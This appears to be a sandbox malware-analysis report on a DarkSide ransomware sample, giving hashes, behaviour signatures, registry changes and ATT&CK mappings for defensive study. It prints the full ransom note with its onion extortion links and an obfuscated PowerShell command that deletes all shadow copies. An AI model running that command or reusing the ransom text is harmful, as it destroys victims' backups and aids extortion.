darkside | 4dcb5d42f6a37cb000de14de346978fa3a9f6a8cd4e41aaec3a15534cc726a1d

General

Target

Darkside.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
SSDEEP

768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.1f18a976.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (153) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3632047111-1948211978-3010235048-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\1f18a976.BMP"	Darkside.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3632047111-1948211978-3010235048-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\1f18a976.BMP"	Darkside.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Darkside.exe

pid process

504 Darkside.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
504	Darkside.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

Darkside.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3632047111-1948211978-3010235048-1000\Control Panel\Desktop\WallpaperStyle = "10"	Darkside.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "74"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe

Modifies registry class 6 IoCs

Processes:

OpenWith.exeDarkside.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3632047111-1948211978-3010235048-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.1f18a976	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.1f18a976\ = "1f18a976"	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\1f18a976\DefaultIcon	Darkside.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\1f18a976	Darkside.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\1f18a976\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\1f18a976.ico"	Darkside.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

5880 NOTEPAD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeDarkside.exe

pid process

1748 powershell.exe
1748 powershell.exe
504 Darkside.exe
504 Darkside.exe

pid	process
5880	NOTEPAD.EXE

pid	process
1748	powershell.exe
1748	powershell.exe
504	Darkside.exe
504	Darkside.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

Darkside.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	504	Darkside.exe
Token: SeSecurityPrivilege	504	Darkside.exe
Token: SeTakeOwnershipPrivilege	504	Darkside.exe
Token: SeLoadDriverPrivilege	504	Darkside.exe
Token: SeSystemProfilePrivilege	504	Darkside.exe
Token: SeSystemtimePrivilege	504	Darkside.exe
Token: SeProfSingleProcessPrivilege	504	Darkside.exe
Token: SeIncBasePriorityPrivilege	504	Darkside.exe
Token: SeCreatePagefilePrivilege	504	Darkside.exe
Token: SeBackupPrivilege	504	Darkside.exe
Token: SeRestorePrivilege	504	Darkside.exe
Token: SeShutdownPrivilege	504	Darkside.exe
Token: SeDebugPrivilege	504	Darkside.exe
Token: SeSystemEnvironmentPrivilege	504	Darkside.exe
Token: SeRemoteShutdownPrivilege	504	Darkside.exe
Token: SeUndockPrivilege	504	Darkside.exe
Token: SeManageVolumePrivilege	504	Darkside.exe
Token: 33	504	Darkside.exe
Token: 34	504	Darkside.exe
Token: 35	504	Darkside.exe
Token: 36	504	Darkside.exe
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeBackupPrivilege	4248	vssvc.exe
Token: SeRestorePrivilege	4248	vssvc.exe
Token: SeAuditPrivilege	4248	vssvc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

OpenWith.exeLogonUI.exe

pid process

5940 OpenWith.exe
4772 LogonUI.exe

pid	process
5940	OpenWith.exe
4772	LogonUI.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

Darkside.exe

description	pid	process	target process
PID 504 wrote to memory of 1748	504	Darkside.exe	powershell.exe
PID 504 wrote to memory of 1748	504	Darkside.exe	powershell.exe
PID 504 wrote to memory of 5812	504	Darkside.exe	cmd.exe
PID 504 wrote to memory of 5812	504	Darkside.exe	cmd.exe
PID 504 wrote to memory of 5812	504	Darkside.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Darkside.exe
"C:\Users\Admin\AppData\Local\Temp\Darkside.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\Darkside.exe >> NUL
2⤵
PID:5812

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4248

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.1f18a976.TXT
1⤵
- Opens file in notepad (likely ransom note)
PID:5880

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5940

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38d8055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4772

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
aa0a32b11dca7b04f4cc5fe8c55cb357

SHA1
00e354fd0754a7d721a270cdc08f970b9a3f6605

SHA256
e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1

SHA512
1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
db3a2085d22f0fa009feb6060c919ace

SHA1
d570b614adf53c54135d8ba89ba0e9a77f743e1c

SHA256
acff94044f1e9ffa322ac7a6943f3395c35cb032ec74840ad3230718ac42adea

SHA512
e7f23352561884e987b52e247f0b813a6527b88a0fb3176802aec0bfd3dc3e85514ebb4774d49bc267c28795de7a4f75026c9ee9681d6e3741573abe1813cc73

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qkovkbby.lcx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.1f18a976.TXT
Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/1748-5-0x00000213A1D80000-0x00000213A1DA2000-memory.dmp

Filesize
136KB

Download
memory/1748-6-0x00007FFF41AD0000-0x00007FFF42592000-memory.dmp

Filesize
10.8MB

Download
memory/1748-15-0x00000213A1890000-0x00000213A18A0000-memory.dmp

Filesize
64KB

Download
memory/1748-17-0x00000213A1890000-0x00000213A18A0000-memory.dmp

Filesize
64KB

Download
memory/1748-16-0x00000213A1890000-0x00000213A18A0000-memory.dmp

Filesize
64KB

Download
memory/1748-20-0x00007FFF41AD0000-0x00007FFF42592000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads